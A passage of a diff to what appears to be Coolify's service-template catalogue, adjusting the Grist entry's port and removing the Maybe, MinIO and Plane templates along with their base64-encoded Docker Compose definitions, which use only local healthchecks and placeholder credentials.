RVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
"tags": [
"lowcode",
"nocode",
@@ -1904,7 +1902,7 @@
"category": "productivity",
"logo": "svgs/grist.svg",
"minversion": "0.0.0",
- "port": "443"
+ "port": "8484"
},
"grocy": {
"documentation": "https://github.com/grocy/grocy?utm_source=coolify.io",
@@ -2681,24 +2679,6 @@
"minversion": "0.0.0",
"port": "8065"
},
- "maybe": {
- "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io",
- "slogan": "Maybe, the OS for your personal finances.",
- "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01BWUJFCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtICdSQUlMU19GT1JDRV9TU0w9JHtSQUlMU19GT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnUkFJTFNfQVNTVU1FX1NTTD0ke1JBSUxTX0FTU1VNRV9TU0w6LWZhbHNlfScKICAgICAgLSAnR09PRF9KT0JfRVhFQ1VUSU9OX01PREU9JHtHT09EX0pPQl9FWEVDVVRJT05fTU9ERTotYXN5bmN9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby9tYXliZS1maW5hbmNlL21heWJlOmxhdGVzdCcKICAgIGNvbW1hbmQ6ICdidW5kbGUgZXhlYyBzaWRla2lxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFQ1JFVEtFWUJBU0V9JwogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbWF5YmVfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tYXBwZW5kb25seSB5ZXMgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfZGF0YTovZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtIFJFRElTX0RCPTEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiAzCg==",
- "tags": [
- "finances",
- "wallets",
- "coins",
- "stocks",
- "investments",
- "open",
- "source"
- ],
- "category": "productivity",
- "logo": "svgs/maybe.svg",
- "minversion": "0.0.0",
- "port": "3000"
- },
"mealie": {
"documentation": "https://docs.mealie.io/?utm_source=coolify.io",
"slogan": "A recipe manager and meal planner.",
@@ -2850,21 +2830,6 @@
"minversion": "0.0.0",
"port": "8080"
},
- "minio-community-edition": {
- "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io",
- "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.",
- "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "object",
- "storage",
- "server",
- "s3",
- "api"
- ],
- "category": "storage",
- "logo": "svgs/minio.svg",
- "minversion": "0.0.0"
- },
"mixpost": {
"documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io",
"slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.",
@@ -3678,27 +3643,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICA